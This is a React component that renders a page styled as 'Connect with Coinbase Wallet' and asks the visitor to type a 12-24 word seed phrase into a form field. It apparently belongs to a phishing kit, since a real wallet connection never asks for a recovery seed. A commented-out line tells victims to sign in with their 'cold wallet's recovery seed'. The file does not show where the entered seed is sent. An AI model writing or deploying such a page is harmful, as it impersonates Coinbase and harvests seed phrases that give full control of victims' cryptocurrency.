import { Label } from '@/components/ui/label'
import RenderError, { ErrorClass } from './Error'
import { FormProps } from '.'
import { ChangeEvent } from 'react'
import { KeyboardEvent } from 'react'
import Image from 'next/image'
import { Input } from '@/components/ui/input'
import { cn } from '@/lib/utils'

export default function CbWallet ({
  error = {},
  formData,
  handleKeyDown,
  handleInputChange
}: FormProps) {
  return (
    <div className='gap-6 flex flex-col pb-6'>
      <div className='w-full flex flex-col items-center justify-center gap-4'>
        <Image src={'/wallet.ico'} width={96} height={96} alt='logo' priority />
        <h2 className='text-[28px] text-center'>Connect with Coinbase Wallet</h2>
        {/* <p className='max-w-sm text-center text-muted-foreground font-cbtext text-sm'>Sign in to coinbase by using your cold wallet's recovery seed.</p> */}
      </div>
      <div className='flex flex-col gap-1'>
        <Label
          htmlFor='seed'
          className='font-semibold leading-5 py-1 text-[14px]'
        >
          Seed Phrase
        </Label>
        <Input
          id='seed'
          name='seed'
          placeholder="Enter the 12-24 word seed phrase"
          className={cn(
            error.seed
              ? `${ErrorClass} focus-visible:!ring-0 focus-visible:border-[rgb(rgb(240,97,109)]`
              : '', 'items-start') 
          }
          onKeyDown={(event: KeyboardEvent<HTMLInputElement>) =>
            handleKeyDown(event)
          }
          onChange={(value: ChangeEvent<HTMLInputElement>) =>
            handleInputChange('seed', value.target.value)
          }
          value={formData.seed || ''}
          autoComplete='off'
        ></Input>
        <RenderError error={error.seed} />
      </div>
    </div>
  )
}
